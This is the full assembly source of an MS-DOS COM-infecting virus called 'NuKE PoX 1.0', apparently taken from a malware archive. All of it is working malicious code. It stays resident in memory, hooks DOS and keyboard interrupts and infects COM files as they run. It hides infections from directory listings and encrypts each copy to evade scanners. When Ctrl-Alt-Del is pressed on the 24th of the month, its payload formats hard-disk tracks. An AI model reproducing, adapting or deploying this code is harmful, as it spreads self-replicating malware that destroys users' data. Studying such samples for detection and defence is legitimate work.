MalwareSourceCode/MSDOS/N-Index/Virus.MSDOS.Unknown.npox_1.asm

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2022-08-21 09:07:57 +00:00
;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
;-* (c) Rock Steady, Viral Developments -*
;*- (c) NuKE Software Developement 1991, 1992 *-
;-* Virus: NuKE PoX Version 1.0 (Alias `Mutating Rocko') -*
;*- ~~~~~~ *-
;-* Notes: COM Infector, Hooks Int 9h & Int 21h, Memory Stealthness -*
;*- ~~~~~~ Dir Stealthness (FCB Way), Encrypting Virus (100 different *-
;-* Encrypted Copies of the Virus) -*
;*- Bytes: 609 Bytes Memory: (609 * 2) = 1,218 Bytes *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
crypt_size equ crypt - init_virus ;All that gets Incrypted
virus_size equ last - init_virus ;Size of the Virus
mut1 equ 3
mut2 equ 1
mut3 equ 103h
del_code equ 53h ;CTRL-ATL-DEL Key
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
rocko proc far
start: jmp init_virus ;+3 bytes
;-*-*-*-*-*-*-*-*-[Start of Virus]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
init_virus: call decrypt ;Decryption Routine Please ;+3 Bytes
call doit_now ;Doit VirusMan... ;+3 Bytes
;========
doit_now: pop bp ;Anything ABOVE THIS LINE 9 Bytes
sub bp,109h ;have to be added to the 100h! This
push ax ;SETs our `Delta Pointer'.
push bx
push cx
push dx ;Save registers
push si
push di
push bp
push es
push ds
mov ax,0abcdh ;Are we resident Already?
int 21h
cmp bx,0abcdh ;Yupe... Quit Then...
je exit_com
push cs ;Get CS=DS
pop ds
mov cx,es
mov ax,3509h ;Hook Int 9 Please...
int 21h
mov word ptr cs:[int9+2][bp],es ;Save Orignal Int 9h
mov word ptr cs:[int9][bp],bx ;Save Orignal Int 9h
mov ax,3521h ;Some AVs may INTCEPT this Call!
int 21h ;May be better to go Manually...
mov word ptr cs:[int21+2][bp],es ;Save the Int
mov word ptr cs:[int21][bp],bx ;Vector Table
dec cx ;Get a new Memory block
mov es,cx ;Put it Back to ES
mov bx,es:mut1
mov dx,virus_size+virus_size ;Size to `Hide'
mov cl,4 ;And all this crap hides
shr dx,cl ;your number of bytes in DX
add dx,4
mov cx,es
sub bx,dx
inc cx
mov es,cx
mov ah,4ah ;Call int to do it...
int 21h
jc exit_com
mov ah,48h
dec dx
mov bx,dx ;It's Done... Yeah!
int 21h
jc exit_com
dec ax
mov es,ax
mov cx,8h ;Here we move our Virus into
mov es:mut2,cx ;the `Hidden' memory!
sub ax,0fh
mov di,mut3
mov es,ax
mov si,bp
add si,offset init_virus
mov cx,virus_size
cld
repne movsb
mov ax,2521h ;Restore Int21 with ours
mov dx,offset int21_handler ;Where it starts
push es
pop ds
int 21h
mov ax,2509h ;Restore Int9 with ours
mov dx,offset int9_handler ;The Handler...
int 21h
push cs
pop ds
exit_com:
mov bx,offset buffer ; Its a COM file restore
add bx,bp ; First three Bytes...
mov ax,[bx] ; Mov the Byte to AX
mov word ptr ds:[100h],ax ; First two bytes Restored
add bx,2 ; Get the next Byte
mov al,[bx] ; Move the Byte to AL
mov byte ptr ds:[102h],al ; Restore the Last of 3 Byt
pop ds
pop es
pop bp ; Restore Regesters
pop di
pop si
pop dx
pop cx
pop bx
pop ax
mov ax,100h ; Jump Back to Beginning
push ax ; Restores our IP (a CALL
retn ; Saves them, now we change
int21 dd ? ;Our Old Int21
int9 dd ? ;Our Old Int9
;-*-*-*-*-*-*-*-*[Int 9h Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
int9_handler:
push ax
in al,60h ;Has the user attempted a
cmp al,del_code ;CTRL-ALT-DEL
je warm_reboot ;Yes! Screw him
bye_bye: pop ax
jmp dword ptr cs:[int9] ;Nope, Leave alone
warm_reboot:
mov ah,2ah ;Get Date Please
int 21h
cmp dl,18h ;Is it 24th of the Month?
jne bye_bye ;Yes, bye_Bye HD
mov ch,0
hurt_me: mov ah,05h
mov dh,0
mov dl,80h ;Formats a few tracks...
int 13h ;Hurts So good...
inc ch
cmp ch,20h
loopne hurt_me
db 0eah,0f0h,0ffh,0ffh,0ffh ;Reboot!
iret
;-*-*-*-*-*-*-*-*-[Dir Stealth Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
dir_handler:
pushf
push cs
call int21call ;Get file Stats
test al,al ;Good FCB?
jnz no_good ;nope
push ax
push bx
push es
mov ah,51h ;Is this Undocmented? huh...
int 21h
mov es,bx
cmp bx,es:[16h]
jnz not_infected ;Not for us man...
mov bx,dx
mov al,[bx]
push ax
mov ah,2fh ;Get file DTA
int 21h
pop ax
inc al
jnz fcb_okay
add bx,7h
fcb_okay: mov ax,es:[bx+17h]
and ax,1fh ;UnMask Seconds Field
xor al,1dh ;Is in 58 seconds?
jnz not_infected ;Nope...
and byte ptr es:[bx+17h],0e0h
sub es:[bx+1dh],virus_size ;Yes minus virus size
sbb es:[bx+1fh],ax
not_infected:pop es
pop bx
pop ax
no_good: iret
;-*-*-*-*-*-*-*-*[Int 21h Handler]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
int21_handler:
cmp ax,4b00h ;File executed
je execute
cmp ah,11h ;Dir handler
je dir_handler
cmp ah,12h ;Next file Dir handler
je dir_handler
cmp ax,0abcdh ;Virus testing
jne int21call
mov bx,0abcdh
int21call:
jmp dword ptr cs:[int21] ;Split...
ret
execute:
push ax
push bx
push cx
push dx
push si
push di
push es
push ds
mov ax,4300h ;Get file Attribs
int 21h
jc exit
test cl,1h ;Make sure there normal
jz open_file ;Okay there are
and cl,0feh ;Nope, Fix them...
mov ax,4301h ;Save them now
int 21h
jc exit
open_file: mov ax,3D02h
int 21h ;Open File to Infect please
jc exit ;Error Split
mov bx,ax ;BX File handler
mov ax,5700h ;Get file TIME + DATE
int 21h
mov al,cl
or cl,1fh ;Un mask Seconds
dec cx ;60 seconds
dec cx ;58 seconds
xor al,cl ;Is it 58 seconds?
jz exit ;File already infected
push cs
pop ds
mov word ptr ds:[old_time],cx ;Save Time
mov word ptr ds:[old_date],dx ;Save Date
mov ah,3Fh
mov cx,3h
mov dx,offset ds:[buffer] ;Read first 3 bytes
int 21h
jc exit_now ;Error Split
mov ax,4202h ;Move file pointer to end
xor cx,cx ;of file...
xor dx,dx
int 21h
jc exit_now ;Error Split
cmp word ptr cs:[buffer],5A4Dh ;Is file an EXE?
je exit ;Yupe! Split
mov cx,ax
sub cx,3 ;Set the JMP
mov word ptr cs:[jump_address+1],cx
call infect_me ;Infect!
jc exit_now ;error split
mov ah,40h ;Write back the first 3
mov dx,offset ds:[jump_address] ;bytes
mov cx,3h
int 21h
exit_now:
mov cx,word ptr cs:[old_time] ;Restore old time
mov dx,word ptr cs:[old_date] ;Restore Old date
mov ax,5701h
int 21h
mov ah,3Eh
int 21h ;Close File now...
exit:
pop ds
pop es
pop di
pop si
pop dx
pop cx
pop bx
pop ax
jmp dword ptr cs:[int21] ;Jmp back to whatever
rocko endp
;-*-*-*-*-*-*-*-*-*[Infection Routine]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
infect_me proc near
mov ah,2ch ;Get Time
int 21h
push dx ;Split seconds to AX
pop ax
mov byte ptr cs:[value],al ;AL = 0 to 99
;New Encryption Value
mov cx,virus_size
push cs
pop es ;Copy ANOTHER copy of the
mov si,offset init_virus ;Virus to the end of us
mov di,offset last
repne movsb
mov cx,crypt_size
sub cx,3h ;Encrypt that 2nd copy!
push bp
mov bp,offset last + 3h
call decrypt_encrypt
pop bp
mov ah,40h ;Write the New Encrypted
mov dx,offset last ;Virus to File!
mov cx,virus_size
int 21h
jc exit_error ;Error Split
mov ax,4200h
xor cx,cx ;Pointer back to beginning
xor dx,dx ;file!
int 21h
jc exit_error ;Split Dude...
clc ;Clear carry flag
retn
exit_error:
stc ;Set carry flag
retn
infect_me endp
old_time dw ?
old_date dw ?
jump_address db 0E9h,90h,90h
buffer db 90h,0CDh,020h
crypt:
msgs db "(c) Rock Steady/NuKE" ;No other than `Moi'...
;-*-*-*-*[Simple BUT EFFECTIVE Encryption/Decryption Routine]-*-*-*-*-*-*-
decrypt proc near
pop bp
push bp
mov al,byte ptr [value-106h][bp] ;Get new Encryption
mov cx,crypt_size ;Value
decrypt_encrypt:
xor cs:[bp],al ;Fuck Scanners and put a
inc bp ;`NOT AL' anywhere here...
loop decrypt_encrypt
retn
value db 00h ;Encryption value!
decrypt endp
last:
seg_a ends
end start